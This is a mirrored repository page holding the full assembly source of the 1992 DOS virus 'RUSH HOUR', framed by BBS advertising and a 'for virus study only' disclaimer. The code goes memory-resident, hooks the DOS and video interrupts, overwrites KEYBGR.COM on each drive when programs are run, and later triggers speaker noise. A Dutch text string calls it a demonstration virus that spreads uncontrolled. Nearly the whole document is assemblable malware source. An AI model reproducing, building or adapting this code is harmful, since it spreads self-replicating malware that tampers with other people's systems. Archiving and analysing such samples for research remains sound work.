mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
243 lines
8.9 KiB
NASM
243 lines
8.9 KiB
NASM
;****************************************************************************;
|
||
; ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] [=- ;
|
||
; -=] For All Your H/P/A/V Files [=- ;
|
||
; -=] SysOp: Peter Venkman [=- ;
|
||
; -=] [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; ;
|
||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||
; ;
|
||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||
; Is. Keep This Code in Responsible Hands! ;
|
||
; ;
|
||
;****************************************************************************;
|
||
page 72,132
|
||
title Virus"RUSH HOUR" (c) Hanx ,1992
|
||
name VIRUS
|
||
|
||
abso segment at 0
|
||
org 4*10h
|
||
video_int dw 2 dup (?)
|
||
org 4*21h
|
||
dos_int dw 2 dup (?)
|
||
org 4*24h
|
||
error_int dw 2 dup (?)
|
||
abso ends
|
||
|
||
code segment
|
||
assume cs:code, ds:code, es:code
|
||
|
||
org 05ch
|
||
fcb label byte
|
||
drive db ?
|
||
fspec db 11 dup (' ')
|
||
org 6ch
|
||
fsize dw 2 dup (?)
|
||
fdate dw ?
|
||
ftime dw ?
|
||
org 80h
|
||
dta dw 128 dup (?)
|
||
|
||
org 071eh
|
||
xor ax,ax
|
||
mov es,ax
|
||
assume es:abso
|
||
push cs
|
||
pop ds
|
||
mov ax,video_int
|
||
mov bx,video_int+2
|
||
mov word ptr video_vector,ax
|
||
mov word ptr video_vector+2,bx
|
||
mov ax,dos_int
|
||
mov bx,dos_int+2
|
||
mov word ptr dos_vector,ax
|
||
mov word ptr dos_vector+2,bx
|
||
cli
|
||
mov dos_int,offset virus
|
||
mov dos_int+2,cs
|
||
mov video_int,offset disease
|
||
mov video_int+2,cs
|
||
sti
|
||
mov ah,0
|
||
int 1ah
|
||
mov time_0,dx
|
||
lea dx,virus_einde
|
||
int 27h
|
||
video_vector dd (?)
|
||
dos_vector dd (?)
|
||
error_vector dw 2 dup (?)
|
||
time_0 dw ?
|
||
|
||
rndval db 'bfhg'
|
||
active db 0
|
||
preset db 0
|
||
db 'A:'
|
||
fname db 'KEYBGR COM'
|
||
db 0
|
||
|
||
virus proc far
|
||
assume cs:code, ds:nothing, es:nothing
|
||
push ax
|
||
push cx
|
||
push dx
|
||
mov ah,0
|
||
INT 1AH
|
||
SUB DX,TIME_0
|
||
CMP DX,16384
|
||
JL $3
|
||
MOV ACTIVE,1
|
||
$3: pop dx
|
||
pop cx
|
||
pop ax
|
||
cmp ax,4b00h
|
||
je $1
|
||
exit_1: jmp dos_vector
|
||
$1: push es
|
||
push bx
|
||
push ds
|
||
push dx
|
||
mov di,dx
|
||
mov drive,0
|
||
mov al,ds:[di+1]
|
||
cmp al,':'
|
||
jne $5
|
||
mov al,ds:[di]
|
||
sub al,'A'-1
|
||
mov drive,al
|
||
$5: cld
|
||
push cs
|
||
pop ds
|
||
xor ax,ax
|
||
mov es,ax
|
||
|
||
assume ds:code, es:abso
|
||
|
||
mov ax,error_int
|
||
mov bx,error_int+2
|
||
mov error_vector,ax
|
||
mov error_vector+2,bx
|
||
mov error_int,offset error
|
||
mov error_int+2,cs
|
||
push cs
|
||
pop es
|
||
|
||
assume es:code
|
||
|
||
lea dx,dta
|
||
mov ah,1ah
|
||
int 21h
|
||
mov bx,11
|
||
$2: mov al,fname-1[bx]
|
||
mov fspec-1[bx],al
|
||
dec bx
|
||
jnz $2
|
||
lea dx,fcb
|
||
mov ah,0fh
|
||
int 21h
|
||
cmp al,0
|
||
jne exit_0
|
||
mov byte ptr fcb+20h,0
|
||
mov ax,ftime
|
||
cmp ax,4800h
|
||
je exit_0
|
||
mov preset,1
|
||
mov si,100h
|
||
$4: lea di,dta
|
||
mov cx,128
|
||
rep movsb
|
||
lea dx,fcb
|
||
mov ah,15h
|
||
int 21h
|
||
cmp si,offset virus_einde
|
||
jl $4
|
||
mov fsize,offset virus_einde -100h
|
||
mov fsize+2,0
|
||
mov fdate,0AA3h
|
||
mov ftime,4800h
|
||
lea dx,fcb
|
||
mov ah,10h
|
||
int 21h
|
||
xor ax,ax
|
||
mov es,ax
|
||
assume es:abso
|
||
mov ax,error_vector
|
||
mov bx,error_vector+2
|
||
mov error_int,ax
|
||
mov error_int+2,bx
|
||
|
||
exit_0: pop dx
|
||
pop ds
|
||
pop bx
|
||
pop es
|
||
assume ds:nothing, es:nothing
|
||
mov ax,4b00h
|
||
jmp dos_vector
|
||
virus endp
|
||
error proc far
|
||
iret
|
||
error endp
|
||
disease proc far
|
||
assume ds:nothing, es:nothing
|
||
push ax
|
||
push cx
|
||
test preset,1
|
||
jz exit_2
|
||
test active,1
|
||
jz exit_2
|
||
in al,61h
|
||
and al,0feh
|
||
out 61h,al
|
||
mov cx,3
|
||
noise: mov al,rndval
|
||
xor al,rndval+3
|
||
shl al,1
|
||
shl al,1
|
||
rcl word ptr rndval,1
|
||
rcl word ptr rndval+2,1
|
||
mov ah,rndval
|
||
and ah,2
|
||
in al,61h
|
||
and al,0fdh
|
||
or al,ah
|
||
out 61h,al
|
||
loop noise
|
||
and al,0fch
|
||
or al,1
|
||
out 61h,al
|
||
exit_2: pop cx
|
||
pop ax
|
||
jmp video_vector
|
||
disease endp
|
||
|
||
db 'Dit is een demonstratie van een zogenaamd computervirus.'
|
||
db 'Het heeft volledige controle over alle systeem-componenten'
|
||
db 'en alle harde schijven en in de drive(s) ingevoerde'
|
||
db 'diskettes. Het programma kopieert zichzelf naar andere,'
|
||
db 'nog niet besmette besturingssystemen en verspreidt zich op'
|
||
db 'die manier ongecontroleerd. In dit geval zijn er geen'
|
||
db 'programma`s beschadigd of schijven gewist, omdat dit'
|
||
db 'slechts een demonstratie is. Een kwaadaardig virus'
|
||
db 'had echter wel degelijk schade aan kunnen richten.'
|
||
|
||
org 1c2ah
|
||
virus_einde label byte
|
||
code ends
|
||
end
|
||
|
||
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
|